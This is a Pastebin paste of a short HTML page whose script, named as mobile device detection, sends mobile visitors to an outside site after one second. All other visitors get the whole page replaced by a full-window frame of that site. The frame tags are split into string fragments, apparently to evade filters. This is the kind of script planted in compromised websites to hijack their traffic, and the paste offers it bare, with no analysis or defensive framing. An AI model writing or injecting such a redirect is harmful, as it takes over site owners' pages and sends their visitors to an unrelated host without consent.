Jenderal92

Untitled

Feb 17th, 2021
442
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.18 KB | None | 0 0
  1. <html>
  2. <head>
  3. <script type='text/javascript'>
  4. function mobile_device_detect(url) {
  5. var houzhui = "";
  6. var thisOS = navigator.platform;
  7. var os = new Array("iPhone", "iPod", "iPad", "android", "Nokia", "SymbianOS", "Symbian", "Windows Phone", "Phone", "Linux armv71", "MAUI", "UNTRUSTED/1.0", "Windows CE", "BlackBerry", "IEMobile");
  8. for (var i = 0; i < os.length; i++) {
  9. if (thisOS.match(os[i])) {
  10. setTimeout(function() {
  11. window.location.href = url + houzhui
  12. }, 1000)
  13. }
  14. }
  15. if (navigator.platform.indexOf('iPad') != -1) {
  16. setTimeout(function() {
  17. window.location.href = url + houzhui
  18. }, 1000)
  19. }
  20. var check = navigator.appVersion;
  21. if (check.match(/linux/i)) {
  22. if (check.match(/mobile/i) || check.match(/X11/i)) {
  23. setTimeout(function() {
  24. window.location.href = url + houzhui
  25. }, 1000)
  26. }
  27. } else {
  28. document.writeln("<fram" + "eset cols=\"100%\"><fr" + "ame src=\"http://sysnetglobal.com/" + "\" /></fra" + "meset>")
  29. }
  30. }
  31. mobile_device_detect("http://sysnetglobal.com/");
  32. </script>
  33. </head>
  34. </html>
Advertisement
Add Comment
Please, Sign In to add comment